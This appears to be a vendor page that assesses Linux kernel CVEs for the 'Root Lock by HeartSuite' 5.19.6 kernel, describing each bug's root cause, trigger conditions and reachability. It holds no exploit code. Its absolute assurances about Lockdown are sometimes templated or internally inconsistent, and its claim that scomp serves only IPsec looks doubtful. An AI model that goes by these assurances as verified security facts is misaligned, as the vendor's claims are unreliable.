This CVE describes a buffer overflow in the kernel software compression (scomp) interface in crypto/scompress.c. The scomp_acomp_comp_decomp() function uses a per-CPU scratch buffer of SCOMP_SCRATCH_SIZE bytes as working space. If the caller provides a req->dst scatter list smaller than SCOMP_SCRATCH_SIZE, the function still caps req->dlen to SCOMP_SCRATCH_SIZE and then copies the full output — up to that size — into req->dst via scatterwalk_map_and_copy(). No check verifies that req->dst can hold req->dlen bytes before the copy. A caller who controls req->dst and triggers a compression or decompression that fills the scratch buffer can write beyond the end of the destination scatter list.

The scomp interface is the software-side of the kernel’s acomp (asynchronous compression) API. It is not a general-purpose path used by dm-crypt, TLS, or cipher operations — it exists exclusively to service IPsec compression transforms (IPCOMP, RFC 3173). scomp_acomp_comp_decomp() is only reached when a compression algorithm is registered with the scomp backend and a caller submits a request to it. On Root Lock by HeartSuite there are no such callers and no such registrations:

  • # CONFIG_INET_IPCOMP is not set — the IPv4/IPv6 IPsec compression module is not compiled; no IPCOMP transform can be configured
  • # CONFIG_CRYPTO_DEFLATE is not set — DEFLATE not compiled; not registered with scomp
  • # CONFIG_CRYPTO_LZ4 is not set — LZ4 not compiled; not registered with scomp
  • # CONFIG_CRYPTO_ZSTD is not set — ZSTD not compiled; not registered with scomp

With no compression algorithm registered, the scomp backend has no handler to dispatch to. CONFIG_CRYPTO=y means the crypto framework is present, but framework presence is not trigger reachability. The trigger cannot be reached on any Root Lock by HeartSuite deployment.

CVE-2024-26654

Status: Not exploitable Component: ALSA AICA Dreamcast sound driver (CONFIG_SND_AICA) Base Score: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in; no code path exists Upstream fix: merged in Linux 6.8; backported across active stable series (5.19 branch is EOL; no backport — not required for HS)

This CVE describes a use-after-free caused by a circular scheduling race between dreamcastcard->timer and spu_dma_work in the AICA Yamaha sound chip driver (sound/sh/aica.c). The timer callback aica_period_elapsed() schedules spu_dma_work via schedule_work(); the work handler then re-arms the timer via mod_timer(). spu_begin_dma() independently schedules the work and arms the timer in the same call. These two execution paths can race against each other and against card teardown, producing a use-after-free on the snd_card_aica object while the timer or work item is still pending.

CONFIG_SND_AICA is not set in the Root Lock by HeartSuite kernel. sound/sh/aica.c is gated by obj-$(CONFIG_SND_AICA) in sound/sh/Makefile and is not compiled. There is no AICA driver code present in the running kernel — not merely absent hardware, but absent code. An attempt to reach this path has no code to execute. The Root Lock by HeartSuite kernel predates the upstream fix, but the fix is not required: it patches code that was never compiled in.

CVE-2024-26704

Status: Not exploitable Component: ext4 filesystem — online defragmentation (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — EXT4_IOC_MOVE_EXT ioctl only reached by defragmentation tools; none in HS allowlist Affected range: kernels prior to stable fixes in the 6.8.x, 6.7.x, 6.6.x, 6.1.x, 5.15.x, 5.10.x, and 5.4.x series (5.19 branch is EOL; no backport) Upstream fix: merged in Linux 6.8; backported across active stable series

This CVE describes a use-after-free in ext4_move_extents() in fs/ext4/move_extent.c, reachable via the EXT4_IOC_MOVE_EXT ioctl. The function moves file extents between an original inode and a donor inode. If the first move operation fails, o_start has not advanced past orig_blk, so *moved_len is set to zero. Preallocation blocks set up for orig_inode and donor_inode are discarded only when *moved_len is non-zero — the guard at move_extent.c:692. With *moved_len == 0, those preallocations are never discarded, leaving stale preallocation state that produces a use-after-free when the preallocations are later released. The EXT4_IOC_MOVE_EXT ioctl requires only write access to the file — no CAP_SYS_ADMIN, consistent with the PR:L CVSS score.

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. The EXT4_IOC_MOVE_EXT ioctl is the sole entry point to the vulnerable ext4_move_extents() path; it is invoked by extent-defragmentation tools (e4defrag) and not by normal filesystem read or write operations. No defragmentation tool appears in the HS allowlist, and the kernel blocks any process without an allowlist entry from executing. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

If your deployment adds e4defrag or any other extent-defragmentation tool to the HS allowlist, the EXT4_IOC_MOVE_EXT ioctl becomes reachable and this CVE applies at its base score of 7.8 HIGH. Treat it as Affected and apply the standard backstop logic.

CVE-2024-26842

Status: Not exploitable Component: UFS host controller driver (CONFIG_SCSI_UFSHCD) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in; no code path exists Upstream fix: merged in Linux 6.8; backported across active stable series (5.19 branch is EOL; no backport — not required for HS)

This CVE describes an out-of-bounds memory access in the UFS host controller driver’s MCQ (Multi-Circular Queue) mode. When task_tag >= 32 and sizeof(unsigned int) == 4, the expression 1U << task_tag is undefined behaviour in C — shifting a 32-bit value by 32 or more positions. In practice this produces incorrect bitmask values in the per-queue task tracking, allowing the computed mask to index outside the valid task range and corrupt adjacent memory.

CONFIG_SCSI_UFSHCD is not set in the Root Lock by HeartSuite kernel. The UFS host controller driver is not compiled, and no UFS source files are present under drivers/scsi/ufs/ in the kernel tree. The prior claim that “ufshcd is compiled in but never bound to hardware” was incorrect — the driver does not exist in the running kernel image at all. The Root Lock by HeartSuite kernel predates the upstream fix, but the fix is not required: it patches code that was never compiled in.

CVE-2022-48662

Status: Not exploitable Component: Intel i915 DRM driver — i915_perf (CONFIG_DRM_I915) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no Intel display GPU present Affected range: Linux 5.19.x before 5.19.16; 5.15.x before 5.15.74; earlier stable series also affected Upstream fix: Linux 5.19.16, 5.15.74, 5.10.148, 5.4.218, 4.19.263 (fix landed within the 5.19 branch before it reached EOL; 5.19.6 predates it)

This CVE describes a use-after-free in the i915 performance monitoring subsystem (i915_perf.c). During OA register reconfiguration, i915_perf iterates i915->gem.contexts.list under i915->gem.contexts.lock. For each entry it acquires a reference via kref_get_unless_zero() and then drops the spin lock to call gen8_configure_context(). After the call it re-acquires the lock and calls list_safe_reset_next(ctx, cn, link) to advance the iteration cursor — dereferencing ctx->link. The assumption is that holding a reference prevents the context from being unlinked. It does not: a concurrent thread can remove ctx from the list while its refcount is non-zero. When list_safe_reset_next dereferences ctx->link after the lock is re-acquired, it reads from freed or repurposed list-head memory.

CONFIG_DRM_I915=y is compiled in and 5.19.6 falls within the affected range. No Intel integrated or discrete display GPU is present on a server deployment. Without GPU hardware, DRM device nodes are not created and the i915_perf entry point is unreachable. This follows the established pattern for i915 CVEs — see CVE-2022-4139.

If exploited on a deployment with i915 hardware, the CVE leads to kernel memory corruption that can escalate to root. At that point Lockdown constrains everything the attacker can do with that root access.

The allowlist database files are made immutable before Lockdown is engaged. FS_IOC_SETFLAGS returns EPERM for all callers (kernel/ioctl.c), so root cannot use chattr to clear those immutable flags and rewrite the allowlist. mount(), fsmount(), and move_mount() all return EPERM (kernel/namespace.c), blocking any bind-mount or remount attempt to shadow or replace the allowlist files. HeartSuite reactivation is disabled during Lockdown, so the service cannot be reconfigured to accept new entries through any path.

Lockdown’s allowlist adds a further constraint on program execution: every execution is checked at the kernel level, applying equally to root. An attacker who has gained root cannot execute a backdoor program they drop onto the filesystem — it has no allowlist entry, and the kernel refuses to run it regardless of file ownership or permission bits.

CVE-2024-26934

Status: Not exploitable Component: USB core (CONFIG_USB) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no USB interface device on headless HS server; deadlock race unreachable Affected range: 4.11–6.8 Upstream fix: 6.8.2 series

Among the attribute file callback routines in drivers/usb/core/sysfs.c, interface_authorized_store() is the only one that acquires a device lock on an ancestor device. It delegates immediately to usb_deauthorize_interface() (drivers/usb/core/message.c), which takes device_lock(dev->parent) first (line 1792) and then device_lock(dev) (line 1795). This lock ordering diverges from other USB subsystem paths, creating an ABBA deadlock when a concurrent bind or configuration operation holds the interface device lock and waits to acquire the parent lock while usb_deauthorize_interface() holds the parent lock and waits for the child. The deadlock stalls the USB subsystem and can produce a kernel hang. The HS 5.19.6 kernel carries the unpatched interface_authorized_store() at drivers/usb/core/sysfs.c:1172 and the unchanged usb_deauthorize_interface() at drivers/usb/core/message.c:1792.

CONFIG_USB=y is compiled in and 5.19.6 falls within the affected range. Triggering the ABBA deadlock race requires writing to the /sys/.../authorized sysfs attribute of an enumerated USB interface device while a concurrent USB operation is in progress. Root Lock by HeartSuite runs on headless server hardware with no external USB devices connected; no USB interface device is enumerated, so the sysfs path does not exist and the race condition is unreachable. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-26939

Status: Not exploitable Component: Intel i915 DRM driver (CONFIG_DRM_I915) Base Score: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no Intel display GPU present Affected range: pre-6.8 Upstream fix: 6.8 series

Object debugging tools were sporadically reporting illegal attempts to free a still-active i915 VMA object when parking a GT believed to be idle: [161.359441] ODEBUG: free active object type: i915_active. When the GPU’s Graphics Tile (GT) transitions to the parked (powered-down) state, i915_vma_parked() (drivers/gpu/drm/i915/i915_vma.c:1729) iterates the gt->closed_vma list of VMAs marked for deferred destruction. For each candidate it calls i915_gem_object_trylock() (line 1758) and, on success, calls i915_vma_destroy() (line 1760) immediately — without checking whether the VMA’s embedded i915_active tracker has reached zero. If outstanding GPU command-buffer work still holds a live reference through that tracker, the object is freed while completion callbacks continue to dereference it, producing a use-after-free with attacker-controlled timing on the GPU side.

CONFIG_DRM_I915=y is compiled in. No Intel integrated or discrete display GPU is present on this server deployment. Without display hardware, DRM device nodes are not created and the GT power-management paths that call i915_vma_parked() are never reached. The environmental score reflects this: the vulnerable code path is structurally unreachable on the deployed hardware configuration.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2022-48689

Status: Affected Component: TCP receive zerocopy (CONFIG_INET) Base Score: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 6.5 MEDIUM — Lockdown reduces MI: High→Low; AC:H reduces exploitability (Exp=1.05 vs 1.83 for AC:L) Affected range: 4.14–pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

A syzbot report identified a misuse of pfmemalloc page status in TCP zerocopy receive paths. In tcp_zerocopy_receive() (net/ipv4/tcp.c:2086), socket buffer fragment pages are collected into a batch (line 2178: page = skb_frag_page(frags)) and mapped directly into userspace via vm_insert_pages(). No page_is_pfmemalloc() check is performed before adding a fragment page to the batch. Pages allocated from pfmemalloc reserves (used to break memory-pressure deadlocks in the network receive path) carry special lifecycle accounting; mapping them into userspace circumvents that accounting. A local attacker who can induce a pfmemalloc allocation into the TCP receive path can map a reserve page into their own address space, potentially corrupting page refcount state in ways that lead to privilege escalation.

Why HeartSuite does not reduce this to 0.0:

CONFIG_INET=y is compiled in and 5.19.6 falls within the affected range. The TCP zerocopy receive path (TCP_ZEROCOPY_RECEIVE ioctl on a connected socket) is reachable by any local user with network access. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2022-48701

Status: Not exploitable Component: USB audio driver (CONFIG_SND_USB_AUDIO) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

There may be a bad USB audio device with a USB ID of (0x04fa, 0x4201) and fewer than 4 interfaces; an out-of-bounds read bug occurs when the USB audio stream parser iterates altsettings. The Dallas DS4201 workaround at sound/usb/stream.c:1108 unconditionally caps num = 4 regardless of how many altsettings the device actually reports. If a malicious or malformed device presents that USB ID with fewer than 4 altsettings, the loop at line 1111 accesses iface->altsetting[i] beyond the bounds of the array, leaking kernel memory.

CONFIG_SND_USB_AUDIO is not set in the HS 5.19.6 configuration. The USB audio driver — including the vulnerable sound/usb/stream.c altsetting parser — is not compiled into the kernel image. A USB device with this ID cannot be claimed by any USB audio driver, and the vulnerable code path does not exist on this system.

CVE-2022-48702

Status: Not exploitable Component: EMU10K1 audio driver (CONFIG_SND_EMU10K1) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

The voice allocator sometimes begins allocating from near the end of the array and then wraps around; however snd_emu10k1_pcm_channel_alloc() accesses the voices array without the wrapping modulo that the allocator itself uses. The round-robin allocator in sound/pci/emu10k1/voice.c:42 uses i %= NUM_G to keep indices in bounds, but sound/pci/emu10k1/emupcm.c:127 assigns multichannel voices as &emu->voices[epcm->voices[0]->number + i] with no % NUM_G guard. When the allocator places the first voice near the end of the 64-entry array and more than one voice is requested, the addition exceeds array bounds, producing an out-of-bounds read and write that can corrupt adjacent kernel memory.

CONFIG_SND_EMU10K1 is not set in the HS 5.19.6 configuration. The EMU10K1 driver — including the vulnerable sound/pci/emu10k1/emupcm.c channel allocator — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2022-48695

Status: Not exploitable Component: mpt3sas SCSI driver (CONFIG_SCSI_MPT3SAS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

A use-after-free occurs during controller reset in the mpt3sas firmware event cleanup path. In drivers/scsi/mpt3sas/mpt3sas_scsih.c, the reset handler iterates queued firmware events and calls cancel_work_sync() on each. When cancel_work_sync() returns non-zero (the work was never executed), the handler calls fw_event_work_put() at line 3752 to release the work’s reference — then unconditionally calls fw_event_work_put() again at line 3754. This double decrement underflows the kref reference count, freeing the fw_event_work object while other paths may still hold pointers to it.

CONFIG_SCSI_MPT3SAS is not set in the HS 5.19.6 configuration. The mpt3sas driver — including the vulnerable firmware event cleanup path — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-35789

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present Affected range: pre-fix Upstream fix: 6.9 series

When moving a station out of a VLAN and deleting the VLAN afterwards, the fast_rx entry still holds a pointer to the VLAN’s netdev, which can cause use-after-free. In net/mac80211/cfg.c, the station change path at line 1949 calls __ieee80211_check_fast_rx_iface(vlansdata), which builds a new fast_rx structure with dev = vlansdata->dev (the target VLAN’s netdev). The original VLAN’s fast_rx is cleared at line 1955 via ieee80211_clear_fast_rx(sta), but that function uses RCU: the old fast_rx object — containing dev = original_vlan->dev — is not freed until after a grace period. If the original VLAN interface is deleted before that grace period expires, any CPU still reading the old fast_rx entry will dereference a freed netdev. The HS 5.19.6 kernel carries the unpatched station change path at net/mac80211/cfg.c:1939–1970.

CONFIG_MAC80211=y is compiled in. No WiFi network interface card is present on a server deployment. Without WiFi hardware, mac80211 creates no wireless interfaces and the relevant code paths are never reached.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2024-35886

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: 6.9 series

What this means for an attacker:

syzkaller reported infinite recursive calls of fib6_dump_done() during netlink socket destruction. From the log, syzkaller sent an AF_UNSPEC RTM_GETROUTE message, and then closed the netlink socket. The IPv6 FIB dump handler at net/ipv6/ip6_fib.c:652 hooks the callback destructor by setting cb->done = fib6_dump_done (saving the original callback in cb->args[3]). When the netlink socket closes, netlink core invokes the destructor, calling fib6_dump_done() at line 570. This function calls cb->done(cb) — but cb->done is now fib6_dump_done itself, creating infinite recursion that exhausts the kernel stack. The HS 5.19.6 kernel carries the unpatched FIB dump callback at net/ipv6/ip6_fib.c:645–684.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and 5.19.6 falls within the affected range. Triggering the infinite recursion requires sending an AF_UNSPEC RTM_GETROUTE netlink message and then closing the socket — reachable by any local user with a netlink socket. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2023-52835

Status: Not exploitable Component: perf events subsystem (CONFIG_PERF_EVENTS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — perf_event_paranoid=3 restricts perf_event_open(); no profiling tool in HS allowlist Affected range: pre-fix Upstream fix: 6.8 series

When perf-record with a large AUX area, e.g. 4GB, it fails with: #perf record -C 0 -m ,4G -e arm_spe_0// -- sleep 1 failed to mmap with 12 (Cannot allocate memory). The perf AUX area mmap handler in kernel/events/core.c:6269–6345 calculates memory accounting limits and calls rb_alloc_aux() to allocate the backing pages. For very large AUX areas (gigabytes), the accounting arithmetic at line 6285 (user_locked += user_extra) can underflow or produce incorrect values when user_extra is extremely large (e.g., 1M pages for 4GB). The mmap() still succeeds despite the accounting failure, allowing unprivileged users to bypass RLIMIT_MEMLOCK restrictions and exhaust kernel memory. The HS 5.19.6 kernel carries the unpatched AUX area accounting at kernel/events/core.c:6269–6345.

CONFIG_PERF_EVENTS=y is compiled in and 5.19.6 falls within the affected range. On a Root Lock by HeartSuite system, perf_event_paranoid=3 restricts perf_event_open() to processes with CAP_SYS_ADMIN; no profiling or performance analysis tool appears in the HS allowlist. The exploitation path — loading and executing a non-allowlisted program — is blocked at the kernel execution gate before any perf subsystem interaction is possible. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2023-52868

Status: Not exploitable Component: thermal management (CONFIG_THERMAL) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — thermal sysfs not accessible in HS allowlist; Lockdown blocks the trigger Affected range: pre-fix Upstream fix: 6.9 series

The dev->id value comes from ida_alloc(), so it is a number between zero and INT_MAX. In drivers/thermal/thermal_core.c, this ID is formatted into fixed-size THERMAL_NAME_LENGTH (20-byte) buffers using sprintf(). At line 681, sprintf(dev->attr_name, "cdev%d_trip_point", dev->id) produces a string of the form "cdev<N>_trip_point". For large IDs, the full string exceeds 20 bytes: "cdev2147483647_trip_point" is 25 characters plus a null terminator (26 bytes total), overflowing attr_name by 6 bytes. The same overflow applies at line 690 for sprintf(dev->weight_attr_name, "cdev%d_weight", dev->id), which produces up to 22 bytes into a 20-byte buffer. Both overflows corrupt adjacent kernel heap memory and can be leveraged for privilege escalation.

CONFIG_THERMAL=y is compiled in and 5.19.6 falls within the affected range. Thermal management is present on all x86 servers for CPU temperature control. Triggering the overflow requires registering a thermal cooling device with a sufficiently large ID — this path requires access to the thermal sysfs interface, which is not included in the HS allowlist. On a Root Lock by HeartSuite system in Lockdown, the kernel blocks any process without an allowlist entry from executing, so a standalone exploit tool cannot reach the thermal registration interface. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-36916

Status: Not exploitable Component: block I/O cost controller (CONFIG_BLK_CGROUP_IOCOST) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — iocost cgroup paths not in HS allowlist; Lockdown blocks the trigger Affected range: pre-fix Upstream fix: 6.9 series

UBSAN catches undefined behavior in blk-iocost, where sometimes iocg->delay is shifted right by a number that is too large, resulting in undefined behavior on some architectures. Two sites in block/blk-iocost.c are affected: line 1338 computes iocg->delay >> div64_u64(tdelta, USEC_PER_SEC), where the divisor is elapsed time in seconds — if the delay has been active for 64 or more seconds, the shift amount reaches or exceeds 64, which is undefined behavior for a 64-bit type under the C standard. Line 2112 performs iocg->delay >> nr_cycles, where nr_cycles can similarly exceed 63. On x86 the shift wraps, but on other architectures the result is indeterminate. Incorrect delay values can bypass I/O throttling controls or cause the cgroup I/O cost model to make scheduling decisions based on garbage data.

CONFIG_BLK_CGROUP_IOCOST=y is compiled in and 5.19.6 falls within the affected range. The blk-iocost controller is active whenever cgroups are in use with I/O cost weighting enabled. Configuring iocost requires writing to cgroup control files under /sys/fs/cgroup/ — no cgroup management tool that exposes iocost configuration appears in the HS allowlist. On a Root Lock by HeartSuite system in Lockdown, the kernel blocks any process without an allowlist entry from executing, so a standalone exploit tool cannot reach the iocost configuration path. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2024-38560

Status: Not exploitable Component: Brocade bfa SCSI driver (CONFIG_SCSI_BFA) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

Currently, we allocate a nbytes-sized kernel buffer and copy nbytes from userspace to that buffer. In drivers/scsi/bfa/bfad_bsg.c, the BSG passthrough handler at line 3373 allocates kzalloc(bsg_data->payload_len, GFP_KERNEL) where payload_len comes directly from the user-supplied BSG request structure, with no upper-bound validation. Line 3379 then calls copy_from_user(..., bsg_data->payload_len) using the same unchecked value. An attacker with access to the BSG device node can supply an oversized payload_len to exhaust kernel memory or, with a carefully chosen value, produce a heap overflow.

CONFIG_SCSI_BFA is not set in the HS 5.19.6 configuration. The Brocade bfa Fibre Channel HBA driver — including the vulnerable bfad_bsg.c BSG handler — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-38588

Status: Not exploitable Component: kprobes (CONFIG_KPROBES) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — kprobe registration not in HS allowlist; Lockdown blocks the exploitation trigger Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In kernel/trace/ftrace.c, ftrace_location() at line 1577 calls lookup_rec(ip, ip) at line 1583 to obtain a dyn_ftrace *rec pointer without holding ftrace_lock. On a concurrent path, module unloading frees the pages that back ftrace records for module functions. If a module is removed between the lookup_rec() return and the return rec->ip dereference at line 1594, the pointer references freed memory. The race is reached through the kprobe registration path: check_kprobe_address_safe()check_ftrace_location()ftrace_location() — all called without the lock that serialises ftrace record lifetime.

CONFIG_KPROBES=y is compiled in. Triggering the bug requires CAP_SYS_ADMIN to register a kprobe — the attack path runs through check_kprobe_address_safe()check_ftrace_location()ftrace_location(). No Root Lock by HeartSuite Root Lock by HeartSuite deployment permits any service to register kprobes. Without an allowlist entry covering the kprobes interface, the kernel refuses access. An attacker who has already gained root cannot add one: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2024-40901

Status: Not exploitable Component: LSI/Avago mpt3sas SCSI driver (CONFIG_SCSI_MPT3SAS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In drivers/scsi/mpt3sas/mpt3sas_scsih.c, the pd_handles bitmap is allocated as (ioc->facts.MaxDevHandle / 8) bytes (rounded up) via kzalloc() at mpt3sas_base.c:8312. The test_bit() function accesses bitmaps in unsigned long-sized units (8 bytes on 64-bit kernels). When the allocation is smaller than sizeof(unsigned long) — for example a single byte when MaxDevHandle is 8 — calls such as test_bit(sas_device->handle, ioc->pd_handles) at line 1942 and test_bit(handle, ioc->pd_handles) at line 4106 read 7 bytes beyond the heap allocation, producing a slab out-of-bounds read.

CONFIG_SCSI_MPT3SAS is not set in the HS 5.19.6 configuration. The LSI/Avago mpt3sas SAS/SATA/NVMe HBA driver — including the vulnerable mpt3sas_scsih.c bitmap access paths — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-40978

Status: Not exploitable Component: QLogic qedi iSCSI driver (CONFIG_SCSI_QEDI) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — driver not compiled in Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In drivers/scsi/qedi/qedi_debugfs.c, qedi_dbg_do_not_recover_cmd_read() at line 128 calls sprintf(buffer, "do_not_recover=%d\n", qedi_do_not_recover) where buffer is the char __user * argument passed directly from the debugfs file read handler. sprintf() writes to a kernel virtual address rather than staging data in a kernel buffer first; on a system with SMAP (Supervisor Mode Access Prevention) enabled, the kernel write to a userspace pointer faults immediately and panics the kernel. The correct fix is to stage into a kernel buffer and use simple_read_from_buffer() to copy to userspace.

CONFIG_SCSI_QEDI is not set in the HS 5.19.6 configuration. The QLogic qedi iSCSI HBA driver — including the vulnerable qedi_dbg_do_not_recover_cmd_read() debugfs handler — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2024-41092

Status: Not exploitable Component: Intel i915 DRM driver (CONFIG_DRM_I915) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no Intel display GPU present Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In the i915 GT reset path, intel_gt_handle_error() at intel_reset.c:1309 calls synchronize_srcu_expedited() at line 1285 on gt->reset.backoff_srcu to drain concurrent SRCU readers before the GPU reset proceeds. The GuC engine failure worker (reset_fail_worker_func at intel_guc_submission.c:4485) queues via queue_work() at line 4545 and calls intel_gt_handle_error() asynchronously. A race between this deferred reset path and the hangcheck heartbeat — as reproduced by igt@i915_selftest@live@hangcheck on ADL-P (GuC submission) — can reach reset_prepare_engine() at intel_reset.c:743 and the WW-mutex backoff context via i915_gem_ww_ctx_backoff() (i915_gem_ww.c:42) after the owning structure has already been freed, producing a use-after-free.

CONFIG_DRM_I915=y is compiled in and HS 5.19.6 falls within the affected range. No Intel integrated or discrete display GPU is present on a standard Debian 11 server deployment. Without display hardware the DRM device nodes are not created, the GPU submission paths are not initialised, and the GuC engine failure worker that triggers this race is never scheduled. The vulnerable code path cannot be reached.

On a HeartSuite system with this hardware installed, Lockdown’s constraints would still apply after any escalation: FS_IOC_SETFLAGS returns EPERM (kernel/ioctl.c:561–569), every mount path returns EPERM (kernel/namespace.c:4218, 4300, 4453), and allowlist modification is blocked at hs_sandbox_caching.c:1942. Lockdown independently prevents any unauthorised program — including a backdoor dropped post-exploit — from executing regardless of file ownership or capability bits.

CVE-2024-42136

Status: Not exploitable Component: CD-ROM subsystem (CONFIG_CDROM) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CD-ROM drive absent on server Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

In drivers/cdrom/cdrom.c, cdrom_read_cd() at line 2080 computes cgc->buflen = blocksize * nblocks and cdrom_read_block() at line 2104 computes cgc->buflen = blksize * nblocks. Both operands are int parameters, so the multiplication is evaluated as a signed 32-bit expression before being stored in the unsigned int buflen field of struct packet_command. When syzkaller passes a large nblocks value — for example, greater than 912,000 with the common CD_FRAMESIZE_RAW = 2352 block size — the intermediate product exceeds INT_MAX, signed integer overflow occurs, and an incorrect (smaller) buffer length is stored in cgc->buflen.

CONFIG_CDROM=y is compiled in and HS 5.19.6 falls within the affected range. No optical drive is present on a standard Debian 11 server deployment. Without this hardware the CD-ROM device nodes are not created and the ioctl paths that call cdrom_read_cd() and cdrom_read_block() are never reached. The vulnerable code path cannot be triggered.

On a HeartSuite system with an optical drive installed, Lockdown’s constraints would still apply after any escalation: FS_IOC_SETFLAGS returns EPERM (kernel/ioctl.c:561–569), every mount path returns EPERM (kernel/namespace.c:4218, 4300, 4453), and allowlist modification is blocked at hs_sandbox_caching.c:1942. Lockdown independently prevents any unauthorised program — including a backdoor dropped post-exploit — from executing regardless of file ownership or capability bits.

CVE-2024-44985

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: pre-fix Upstream fix: mainline; not backported to 5.19.x (5.19 EOL)

What this means for an attacker:

